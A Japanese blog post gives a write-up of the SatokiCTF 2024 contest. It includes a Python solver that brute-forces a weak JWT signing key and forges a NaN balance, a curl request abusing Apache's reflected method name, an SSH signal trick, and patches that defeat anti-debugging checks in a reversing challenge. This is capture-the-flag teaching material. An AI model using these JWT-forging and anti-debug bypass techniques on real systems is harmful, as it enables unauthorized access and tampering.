プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

SatokiCTF write-up

SatokiCTFへ参加しました。そのwrite-up記事です。IDAの解析結果ファイル.i64などはGitHubで公開しています

2024/09/29 23:30頃加筆: いただいた賞品の話を追記しました。

コンテスト概要

2024/08/25(日) 09:00 +09:00 - 08/26(月) 21:00 +09:00の36時間開催でした。その8月26日は、運営であるSatoki氏の誕生日とのことです。お誕生日おめでとうございます!

他ルールは詳細&ルールページから引用します:

SatokiCTFとは
Satokiの誕生日に開催されるCTFです。
複数人で協力してSatokiを倒す (全完する) レイドバトル形式のCTFとなります。
全完を目指して頑張ってください。
来年やるかは未定です。

詳細
形式:Raid Jeopardy
開催期間:08/25 09:00:00 JST (UTC+9) から36h
サーバ稼働時間:08/25 09:00:00 JST (UTC+9) から60h予定
フラグ形式:flag{何らかの文字列}
公式WriteUp:公開しません
ハッシュタグ:#satokictf
賞金・賞品:
- 全完者・全完チーム:10位まで賞金・賞品プールの物品を1個選択 (賞品提供者は対象外)
- WebまたはPwnのジャンル制覇者・ジャンル制覇チーム:各2位まで賞金・賞品プールの物品を1個選択 (全完者・全完チーム、賞品提供者は対象外)
- 参加者全員:Satokiにご飯を奢る権利
- 賞金プールに条件が記載されている場合は該当者・該当チームへ優先授与

ルール
禁止事項
- 他の参加者の競技を妨害する行為
  - e.g., Satoki管理のインフラ (スコア・問題サーバ、Discordなど) へのDoS、SNSでの他の参加者への執拗な質問
- 日本国の法律に違反する可能性のある行為
許可事項
- 禁止事項以外のすべて
  - e.g., 10000人チームでの参加、開催中のYouTube配信、開催中のWriteUp・Flagの公開
その他
- 本スコアサーバに記載されているルールや賞金・賞品プールが最新版になります。
- SNSなどでネタバレされたくない方は自衛してください (一人で参加したほうが強くなれます)。
- 公式Discordでは【ネタバレ】が名前の先頭についたチャンネル以外でネタバレをしないようにお願いします。

おねがい
賞金・賞品プールを作成しますので、余裕のある方はスポンサーをお願いします 。
全完者・全完チームが0の場合、Satokiの誕生日プレゼントになります (たぶん) 。

トップページでは、残りの0-solves問題の数に応じた体力ゲージが表示されていました:

ルールで許可されているので、開催中に実況配信が行われていたり、開催中にDiscordでのネタバレチャンネルで参加者の人が(適切に伏せ字設定しつつ)解法や考察を書き込んでいたり、運営の方から適宜ヒントが提供されたりしました。ものすごいコンテストでした!

なお開催から約4時間後に、「全完難易度が高いため、Top10に賞品を贈呈」とのアナウンスがありました。

結果

レイドバトルではあるのですが、普段のコンテストどおりの記述を一応入れます。正の得点を得ている101チーム中、501点で10位でした:

順位と得点

緑背景: 解けた問題

なおコンテスト終了時点での0-solvesの問題は4問ありました。つまりはレイドバトル失敗ということなのでしょう……。

環境

WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.4780]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-24.04           Running         2
  docker-desktop-data    Running         2
  kali-linux             Stopped         2
  docker-desktop         Running         2
  Ubuntu-22.04           Running         2

c:\>

他ソフト

  • IDA Free Version 8.4.240527 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pip | grep Version:
Version: 24.0
$ python3 -m pip show IPython | grep Version:
Version: 8.24.0
$ python3 -m pip show httpx | grep Version:
Version: 0.27.0
$ python3 -m pip show pwntools | grep Version:
Version: 4.13.0
$ gdb --version
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ gdb --batch --eval-command 'version' | grep 'Pwndbg:'
Pwndbg:   2024.02.14 build: 2b9beef
$ ltrace --version
ltrace version 0.7.3.
Copyright (C) 1997-2009 Juan Cespedes <cespedes@debian.org>.
This is free software; see the GNU General Public Licence
version 2 or later for copying conditions.  There is NO warranty.
$ curl --version
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.2
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
$ docker --version
Docker version 27.1.1, build 6312585
$

解けた問題

本コンテストでは、各問題の配点は正解者数にかかわらず固定でした。

いくつかの問題では途中でヒントが開示されました。本記事ではヒント内容も記載します。

[Welcome] Welcome (94 teams solves, 1 points)

SatokiCTFへようこそ。
趣味CTFなので作問ミスや公平性の欠如は大目に見てね😘
flag{l00k1n6_f0r_7h3_p3rf3c7_h4ck3r}

問題文にフラグが書かれていました: flag{l00k1n6_f0r_7h3_p3rf3c7_h4ck3r}

[Web, warmup] MiniBank (27 teams solves, 100 points)

暗証番号が総当たりできる? じゃあ、flagはどんな金額でも渡しません!

(URL省略)

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./.env:                     ASCII text, with CRLF line terminators
./app/app.py:               Python script, ASCII text executable, with CRLF line terminators
./app/Dockerfile:           ASCII text, with CRLF line terminators
./app/requirements.txt:     ASCII text, with CRLF line terminators
./app/templates/index.html: HTML document, ASCII text, with CRLF line terminators
./app/uwsgi.ini:            ASCII text, with CRLF line terminators
./docker-compose.yml:       ASCII text
./nginx/Dockerfile:         ASCII text
./nginx/nginx.conf:         ASCII text
$

nginxを経由してappへアクセスする構成でした。app/app.pyは次の内容でした:

import os
import jwt
import random
from flask import Flask, jsonify, request, make_response, render_template


app = Flask(__name__)

FLAG = os.environ.get("FLAG", "flag{*****REDACTED*****}")


def determine_status(balance):
    status = FLAG
    if balance > 0:
        status = "rich"
    if balance <= 0:
        status = "poor"
    return f"You are a {status} person, aren't you?"


# omg ;(
KEY = str(random.randint(1, 10**6))


def encode_jwt(balance):
    payload = {"balance": balance}
    return jwt.encode(payload, KEY, algorithm="HS256")


def decode_jwt(token):
    try:
        payload = jwt.decode(token, KEY, algorithms="HS256")
        return payload.get("balance")
    except:
        return None


@app.route("/")
def index():
    token = request.cookies.get("account")
    if token:
        balance = decode_jwt(token)
        if balance is not None:
            status = determine_status(balance)
            return render_template("index.html", balance=balance, status=status)
    resp = make_response(
        render_template(
            "index.html",
            balance=1000,
            status="Welcome! Setting your initial balance to $1000.",
        )
    )
    resp.set_cookie("account", encode_jwt(1000))
    return resp


@app.route("/transaction", methods=["POST"])
def transaction():
    data = request.get_json()
    if "amount" in data and isinstance(data["amount"], int):
        amount = data["amount"]
        token = request.cookies.get("account")
        balance = decode_jwt(token)
        if balance is not None:
            balance += amount
            status = determine_status(balance)
            new_token = encode_jwt(balance)
            resp = jsonify({"balance": balance, "status": status})
            resp.set_cookie("account", new_token)
            return resp
        else:
            return jsonify({"error": "Invalid token."}), 400
    else:
        return (
            jsonify({"error": "Invalid amount specified. Amount must be an integer."}),
            400,
        )


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=4445)

ソースから、次のことが分かります:

  • サーバー起動時に、KEYが1~1000000の範囲からランダムに決定されます。短期間で総当りできる範疇です。
  • determine_status関数の分岐でstatus = FLAGを表示してもらうには、if balance > 0if balance <= 0の両方の分岐を回避する必要があります。整数で考えるとそんなことは不可能ですが、浮動小数点数で考えるとNaNで回避できます。
  • determine_status関数の引数は、accountクッキーのJWT内容のbalance値が渡されます。KEYは総当りできるので、好きな内容を渡せそうです。

この考察から、balance値としてNaNを渡せばフラグを得られそうです。しかし、RFC 8259 - The JavaScript Object Notation (JSON) Data Interchange Formatを見てもnumberとしてはNaNを渡せないようです。一方で9. Parsers箇所にA JSON parser MAY accept non-JSON forms or extensions.とあるので、処理系によってはNaNを扱える可能性があります。実験しました:

In [7]: json.dumps({"balance": math.nan})
Out[7]: '{"balance": NaN}'

In [8]: json.loads(json.dumps({"balance": math.nan}))
Out[8]: {'balance': nan}

というわけで、PythonのjsonパッケージではNaNを扱えることが分かりました(扱えるんですね!)。jwtパッケージでも同様にNaNを扱えることを信じつつ、あとせっかくなので最近知ったhttpxパッケージを使ってみつつ、ソルバーを書きました:

#!/usr/bin/env python3


import math

import httpx
import jwt
import tqdm

BASE_URL = "http://198.51.100.1:4445/"


def crack_key(account: str) -> str:
    for i in tqdm.trange(0, 10**6):
        key = str(i)
        try:
            payload = jwt.decode(account, key, algorithms=["HS256"])
            print(f"{payload = }")
            return key
        except jwt.exceptions.InvalidSignatureError:
            pass
    raise Exception("Can not found key...")


with httpx.Client(base_url=BASE_URL) as client:
    response = client.get("/").raise_for_status()

    account = client.cookies.get("account")
    print(client.cookies)
    assert account
    print(f"{account = }")
    key = crack_key(account)
    print(f"{key = }")

    forged_account = jwt.encode({"balance": math.nan}, key, algorithm="HS256")
    client.cookies.set("account", forged_account, domain="198.51.100.1")
    print(client.cookies)
    response = client.get("/").raise_for_status()
    flag = "".join(filter(lambda line: "flag" in line, response.text.split()))
    print(flag)

(httpx.Clientcookies.setdomain引数を渡し忘れていて、クッキーが反映されずにしばらく悩んでいました)

実行しました:

$ ./solve.py
<Cookies[<Cookie account=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.p0K5vNd1T4wlB8YxnoVPE6ZZ2qdLA-Z_5Rqbtpia-_Y for 198.51.100.1 />]>
account = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.p0K5vNd1T4wlB8YxnoVPE6ZZ2qdLA-Z_5Rqbtpia-_Y'
 36%|██████████████████████████████████████████████████████                                                                                                  | 355915/1000000 [00:04<00:07, 85137.74it/s]payload = {'balance': 1000}
 36%|███████████████████████████████████████████████████████▏                                                                                                | 363068/1000000 [00:04<00:07, 83261.07it/s]
key = '363068'
<Cookies[<Cookie account=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJiYWxhbmNlIjpOYU59.oI936tXFjV9XO5KNFMoam4DvK7P4b2LdGzciA5VYyGE for 198.51.100.1 />]>
flag{h4ndl3_j50n_w17h_c4u710n_r364rd1n6_1nf1n17y_4nd_n4n}
$

フラグを入手できました: flag{h4ndl3_j50n_w17h_c4u710n_r364rd1n6_1nf1n17y_4nd_n4n}

[Misc, warmup] zzz (21 teams solves, 100 points)

朝起きて 歯を磨いて あっという間 午後10時

(接続先情報省略)

ヒント:

SFTPやSCP, ポートフォワーディングといったSSHならではの機能は、解くためには必要ありません。
なにかシンプルな方法で無理やり sleep infinity だけを終了させられないでしょうか。

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./compose.yml: ASCII text
./Dockerfile:  ASCII text
./flag.txt:    ASCII text
./zzz.sh:      Bourne-Again shell script, ASCII text executable

Dockerfile内容はForceCommand "/app/zzz.sh"などの設定を/etc/ssh/sshd_configへ加える内容でした。つまりSSH接続すると絶対にzzz.shを実行するようです。肝心のzzz.shは次の内容でした:

#!/bin/bash
echo "I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!"
sleep infinity
cat /flag.txt

どうにかしてsleep infinityを中断させられたらフラグが得られる内容でした。

手元でDockerコンテナを起動してSSH接続し、C-cC-zC-4などを色々試していましたが、フラグは得られませんでした。色々な制御文字を試しましたが、特段成果は得られませんでした。

実況配信を見ていると「キーボードを叩いていたら解けた」のようなコメントがありました。なんとなく手元でも本番サーバー相手に試してみました:

$ ssh ctf@198.51.100.1 -p 22222
ctf@198.51.100.1's password:
I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!
^\/app/zzz.sh: line 3:  5492 Quit                    (core dumped) sleep infinity
flag{eternal_spring_dream_27ff12ce}
Connection to 198.51.100.1 closed.
$

全然理由がわかっていませんが、リモートサーバー相手ではC-4でフラグを入手できました: flag{eternal_spring_dream_27ff12ce}

ただ、リモートサーバー相手でもC-4でフラグが得られないこともありました:

$ ssh ctf@198.51.100.1 -p 22222
ctf@198.51.100.1's password:
I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!
^\Connection to 198.51.100.1 closed.

また、手元のDocker環境では10回くらい試しても全然だめでした:

$ ssh ctf@localhost -p 22222
ctf@localhost's password:
I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!
^\Connection to localhost closed.

なぜうまく行ったりいかなかったりしたのか全然分かっていません!

[Misc, warmup] HBD (19 teams solves, 100 points)

Apache HTTP Serverにも誕生日を祝わせることでフラグが得られます。

(URL省略)

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./compose.yml:         ASCII text
./proxy/.dockerignore: ASCII text
./proxy/Dockerfile:    ASCII text
./proxy/go.mod:        ASCII text
./proxy/main.go:       C source, ASCII text
$

compose.yml内容は、image: httpd:2.4でapacheを起動しつつ、proxy側も起動する内容でした。proxy側のmain.goは次の内容でした:

package main

import (
    "bytes"
    "io"
    "net/http"
    "net/http/httputil"
    "net/url"
    "strconv"
    "os"
)

func getFlag() string {
    v := os.Getenv("FLAG")
    if len(v) == 0 {
        return "flag{dummy}"
    }
    return v
}

func modify(r *http.Response) error {
    body, err := io.ReadAll(r.Body)
    if err != nil {
        return err
    }

    var b []byte
    if bytes.Contains(body, []byte("HBD!Satoki!")) {
        b = []byte(getFlag())
    } else {
        b = body
    }

    r.Body = io.NopCloser(bytes.NewReader(b))
    r.Header.Set("Content-Length", strconv.Itoa(len(b)))

    return nil
}

func main() {
    url, _ := url.Parse("http://apache")
    proxy := httputil.NewSingleHostReverseProxy(url)
    proxy.ModifyResponse = modify
    http.ListenAndServe(":8000", proxy)
}

どうやらapacheからのレスポンスのボディにHBD!Satoki!が含まれていれば、代わりにフラグを返してくれる内容のようです。

curlで色々実験していると、HTTPリクエストメソッドに適当なものを指定すると、レスポンスボディにその内容を含めてくれることが分かりました:

$ curl -i 'http://localhost:8848/' -X 'Foo'
HTTP/1.1 501 Not Implemented
Allow: GET,POST,OPTIONS,HEAD,TRACE
Content-Length: 202
Content-Type: text/html; charset=iso-8859-1
Date: Sun, 25 Aug 2024 01:20:04 GMT
Server: Apache/2.4.62 (Unix)

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>501 Not Implemented</title>
</head><body>
<h1>Not Implemented</h1>
<p>Foo not supported for current URL.<br />
</p>
</body></html>
$

そういうわけで本番サーバー宛に、Apacheにも誕生日を祝わせるリクエストを送信しました:

$ curl -i 'http://198.51.100.1:8848/' -X 'HBD!Satoki!'
HTTP/1.1 501 Not Implemented
Allow: POST,OPTIONS,HEAD,GET,TRACE
Content-Length: 28
Content-Type: text/html; charset=iso-8859-1
Date: Sun, 25 Aug 2024 01:20:48 GMT
Server: Apache/2.4.62 (Unix)

flag{tanjobi_anata_8ae01c4e}
$

フラグを入手できました: flag{tanjobi_anata_8ae01c4e}

[Rev, easy] gomen (2 teams solves, 200 points)

ごめんね! 😘 HAHAHAHA!

本問題のIDAの解析結果ファイル.i64GitHubで公開しています

配布ファイルとして、gomenバイナリがありました:

$ file *
gomen: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=576718da8b3b9d5430ca8d0b33bd1d1f71a0d305, for GNU/Linux 3.2.0, stripped
$

IDAで開いて逆コンパイルして読もうとしたのですが、いろいろな難読化が施されているバイナリでした:

  • .text:0000000000002EC0main関数を逆コンパイルすると、一見どこか謎の場所へジャンプするだけに見えます。しかし逆アセンブルを見ると、他にも色々しているらしいことが分かります。
void __fastcall main(int a1, char **a2, char **a3)
{
  JUMPOUT(0x30C0LL);
}
.text:0000000000002EC0 ; __unwind { // __gxx_personality_v0
.text:0000000000002EC0                 endbr64
.text:0000000000002EC4                 push    r15
.text:0000000000002EC6                 lea     rdx, loc_309E
.text:0000000000002ECD                 push    r14
.text:0000000000002ECF                 movq    xmm1, rdx
.text:0000000000002ED4                 lea     rdx, sub_2F5A
.text:0000000000002EDB                 lea     r14, unk_62B0
.text:0000000000002EE2                 push    r13
.text:0000000000002EE4                 movq    xmm2, rdx
.text:0000000000002EE9                 push    r12
.text:0000000000002EEB                 push    rbp
.text:0000000000002EEC                 push    rbx
.text:0000000000002EED                 lea     rbx, loc_2FA1
.text:0000000000002EF4                 sub     rsp, 0B8h
.text:0000000000002EFB                 mov     r13, cs:qword_4120
.text:0000000000002F02                 mov     rax, fs:28h
.text:0000000000002F0B                 mov     [rsp+0E8h+var_40], rax
.text:0000000000002F13                 xor     eax, eax
.text:0000000000002F15                 lea     rax, loc_30C0
.text:0000000000002F1C                 lea     r12, [rsp+0E8h+var_A8]
.text:0000000000002F21                 mov     [rsp+0E8h+var_B0], 0
.text:0000000000002F2A                 movq    xmm0, rax
.text:0000000000002F2F                 mov     [rsp+0E8h+var_B8], r12
.text:0000000000002F34                 punpcklqdq xmm0, xmm1
.text:0000000000002F38                 mov     [rsp+0E8h+var_A8], 0
.text:0000000000002F3D                 movaps  [rsp+0E8h+var_98], xmm0
.text:0000000000002F42                 movq    xmm0, rbx
.text:0000000000002F47                 mov     ebx, 2
.text:0000000000002F4C                 punpcklqdq xmm0, xmm2
.text:0000000000002F50                 lea     ebp, [rbx-1]
.text:0000000000002F53                 movaps  [rsp+0E8h+var_88], xmm0
.text:0000000000002F58                 jmp     rax
  • sub_3F10などの関数を逆コンパイルすると、一見無限ループへ突入する謎の関数に見えます。しかし逆アセンブルを見ると、sub_3770関数で例外が送出されることを前提に、catch側で続きの処理を行っていることが分かります。
void __noreturn sub_3F10()
{
  sub_3770();
  while ( 1 )
    ;
}
.text:0000000000003F10 ; __unwind { // __gxx_personality_v0
.text:0000000000003F10                 endbr64
.text:0000000000003F14                 push    r12
.text:0000000000003F16                 push    rbp
.text:0000000000003F17                 push    rbx
.text:0000000000003F18                 sub     rsp, 20h
.text:0000000000003F1C                 mov     rax, fs:28h
.text:0000000000003F25                 mov     [rsp+38h+var_20], rax
.text:0000000000003F2A                 xor     eax, eax
.text:0000000000003F2C ;   try {
.text:0000000000003F2C                 call    sub_3770
.text:0000000000003F2C ;   } // starts at 3F2C
.text:0000000000003F31
.text:0000000000003F31 loc_3F31:                               ; CODE XREF: sub_3F10:loc_3F31↓j
.text:0000000000003F31                 jmp     short loc_3F31
.text:0000000000003F33 ; ---------------------------------------------------------------------------
.text:0000000000003F33 ;   catch(std::exception) // owned by 3F2C
.text:0000000000003F33                 endbr64
.text:0000000000003F37                 mov     rdi, rax        ; void *
.text:0000000000003F3A                 mov     rax, rdx
.text:0000000000003F3D                 jmp     loc_2C60
  • 通常実行するとフラグ入力プロンプトが表示されますが、straceltrace経由で実行するとプロンプト等が表示されないままどこかで処理が止まるらしいことも分かりました。デバッガー検知処理が含まれていそうです。
  • 各種関数の相互参照を見ていると、sub_3F10関数が.init_arrayセクションに登録されていました。main関数よりも前に実行されます。
  • プログラム中で扱う文字列が難読化されており、stringsビューなどには表示されません。たとえばgetenv関数用の引数文字列などが難読化されています。

そんなこんなでIDAの静的解析だけではほとんど何も分からなかったので、gdbで処理を追いかけていくことにしました。ただPIE有効かつstrippedなので、アドレス指定でブレークポイントを設置するのは大変です。そのため、sub_3F10関数で呼び出しているsub_3770関数の、さらにその中で呼び出してる関数にb std::basic_filebuf<char,std::char_traits<char>>::openコマンドでブレークポイントを設置して、runコマンドで実行開始しました(C++製シンボルでも、マングリングされた名前ではなくC++そのままの名前でブレークポイントを設置できるんですね)。その後はfinコマンドで関数終了まで実行したり、nisiコマンド連打で処理を確かめると、次の処理を行っているらしいことが分かりました:

  • 38DCstd::basic_filebuf<char,std::char_traits<char>>::openでは、/proc/self/statusファイルを開きます。
  • 3ADBmemcmp関数呼び出しで、/proc/self/statusファイルの各行と、TracerPid:固定文字列を比較します。つまりはTracerPid:で始まる行を探します。
    • man proc_pid_statusで調べると、TracerPidPID of process tracing this process (0 if not being traced).との説明があります。
    • 例えばcat /proc/self/status | grep TracerPidするとTracerPid: 0ですが、ltrace cat /proc/self/status 2>/dev/null | grep TracerPidするとTracerPid: 16757などになります。
  • 3B5Fstrtol関数で、TracerPid:行の文字列を数値へ変換します。すなわちデバッガーのPIDを取得します。前述の通り、デバッガーが未アタッチである場合は0です。
  • 3DAA付近でstrtol関数の戻り値で分岐します。戻り値が0である場合は26A6付近でstd::runtime_errorを送出します。戻り値が非0である場合は、例外の送出なしにreturnします(=呼び出し元で無限ループへ突入)。
    • つまり、動的解析を妨害する処理です。

また、ついでに気になったgetenv関数呼び出しの引数を調べると、次のことを行っていました:

  • 2D2Cgetenv関数呼び出しでは、"LD_PRELOAD"環境変数を取得します。
  • 2E30getenv関数呼び出しでは、"LD_DEBUG"環境変数を取得します。
  • 少なくともどちらかの環境変数が存在すれば(=getenv関数の戻り値が非NULLであれば)、2E45付近の分岐で無限ループへ突入します。
    • おそらくこれらも、動的解析を妨害する処理です。

分かった耐動的解析処理を無効化するようにパッチを適用しました。IDAのHex-Viewでアドレスを合わせ、F2キーで編集モードに入り、機械語を編集して、改めてのF2キーで反映し、メニューのEdit→Patch program→Apply patches to input file...からgomenバイナリへ書き戻しました。より具体的には次の編集を加えました:

  • 3DAA48 85 C033 C0 90へ編集、つまりはtest rax, rax命令をxor eax, eax, nop命令へ編集。これで、strtol関数の戻り値が非0の場合でも、例外を創出するルートへジャンプさせます。
  • 2E4874EBへ編集、つまりはjz命令をjmp命令へ編集。これで、getenv関数の戻り値が非NULLの場合でも、無限ループを回避できます。

パッチ後のバイナリを使って、とりあえずltraceを試していました:

$ ltrace -i ./gomen.patched 2>&1
[0x5570af687354] _ZNSt8ios_base4InitC1Ev(0x5570af68a4e8, 0x7ffdc90d47a8, 0x7ffdc90d47b8, 0x5570af689a68)                    = 2
(中略)
[0x5570af686e35] getenv("LD_DEBUG")                                                                                         = nil
[0x5570af686e3d] __cxa_end_catch(0x5570af68a3f0, 0x7ffdc90d5dfb, 8, 79)                                                     = 8
[0x5570af686e45] __cxa_end_catch(0, 0x5570b05e9590, 0x5570b05e9, 1)                                                         = 8
[0x5570af6872b2] __cxa_guard_acquire(0x5570af68a340, 0x7ffdc90d47a8, 0x5570af68a360, 0x5570af689a78)                        = 1
[0x5570af68730a] __cxa_guard_release(0x5570af68a340, 0x5570af68a370, 0x5570af68a360, 0)                                     = 0x7f4cfaa46040
[0x5570af687225] _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x5570af68a040, 0x5570af68a370, 0xf7267bf8ddfa811f, 32) = 0x5570af68a040
[0x5570af6870b3] _ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE(0x5570af68a160, 0x7ffdc90d45d0, 0x7f4cfaced310, 0Enter the flag: THIS_IS_MY_USER_INPUT
(中略)
[0x5570af68686c] strlen("flag{I_am_sooo_sorry...}")                                                                         = 24
[0x5570af6874c3] _Znwm(25, 0x5570af68a3b0, 0x5570af68a3c8, 0)                                                               = 0x5570b05e7cb0
[0x5570af6874ab] memcpy(0x5570b05e7cb0, "flag{I_am_sooo_sorry...}", 24)                                                     = 0x5570b05e7cb0
(中略)
[0x5570af686a75] _ZNSo3putEc(0x5570af68a040, 10, 0x7f4cfaced310, 0Flag is incorrect
)                                                         = 0x5570af68a040
[0x5570af686a7d] _ZNSo5flushEv(0x5570af68a040, 0x5570b05e7490, 0x7f4cfaced310, 0x7f4cfa957574)                              = 0x5570af68a040
[0x5570af686f76] _ZdlPvm(0x5570b05e9570, 31, 0x7f4cfaced310, 0x7f4cfa957574)                                                = 1
[0xffffffffffffffff] +++ exited (status 0) +++

strlenmemcmp関数の引数に、フラグらしい内容が含まれていました。試しました:

$ ./gomen
Enter the flag: flag{I_am_sooo_sorry...}
Flag is correct
$

フラグを入手できました: flag{I_am_sooo_sorry...}

賞品

コンテスト後、10位チーム賞とWriteup賞として、賞品を2つもいただきました!

ドーム型加湿器 アニマル

↑かわいらしい子です!まだ部屋の湿度が高い季節なので大事にしまっていますが、冬の乾燥した時期になったら活躍してもらいます。

完全メシ お試し10品セット

↑完全メシとは、栄養素が適切に調整された食とのことです。栄養に気をつけて健康に過ごします!

なお、賞品リストはprizeページに掲載されています。

感想

  • 全体的に、予想以上に難しかったです!それでも面白かったです!
  • 改めて、Satokiさんお誕生日おめでとうございます!
    • お会いできる機会があれば、ご飯を奢る権利を行使させてください。
  • 賞品の発送手続き等も行ってくださり、本当にありがとうございました!